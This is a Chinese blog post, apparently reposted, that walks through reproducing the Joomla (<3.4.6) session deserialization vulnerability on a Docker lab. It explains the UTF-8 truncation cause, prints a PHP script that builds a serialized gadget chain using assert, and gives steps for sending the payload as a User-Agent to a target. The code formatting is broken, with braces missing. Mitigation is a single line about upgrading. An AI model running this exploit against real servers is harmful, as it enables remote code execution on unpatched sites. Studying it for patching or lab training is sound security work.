Joomla反序列化漏洞
Posted 風月长情
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Joomla反序列化漏洞相关的知识,希望对你有一定的参考价值。
文章目录
一、介绍
1.1 漏洞原理
php5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
1.2 影响版本
joomla<3.4.6
PHP 5.6 <5.6.13、PHP 5.5 <5.5.29、PHP 5.4 <5.4.45
二、漏洞复现
2.1 配置环境
》》运行docker环境
》》配置环境,访问8080端口
》》数据库设置如下:
》》下一步进行安装
》》删除安装目录即可访问主页
2.2 漏洞复现
》》访问登录页面,抓取网络数据包,不带User-Agent发送如下数据,记录返回包中的cookie
》》使用如下脚本,通过此网址生成POC https://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd
<?php
class JSimplepieFactory
class JDatabaseDriverMysql
class SimplePie
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
class JDatabaseDriverMysqli
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\\x00*\\x00", '\\\\0\\\\0\\\\0', $poc);
echo "123__test|$poc\\xF0\\x9D\\x8C\\x86";
》》生成成功:
》》将生成成功的代码作为User-Agent,加上上一步获取的Cookie,发送给目标服务器
》》第一次发送的数据包会进入到数据库,在第二次发送时才会成功执行代码
三、防御措施
升级Joomla和PHP到高版本
以上是关于Joomla反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞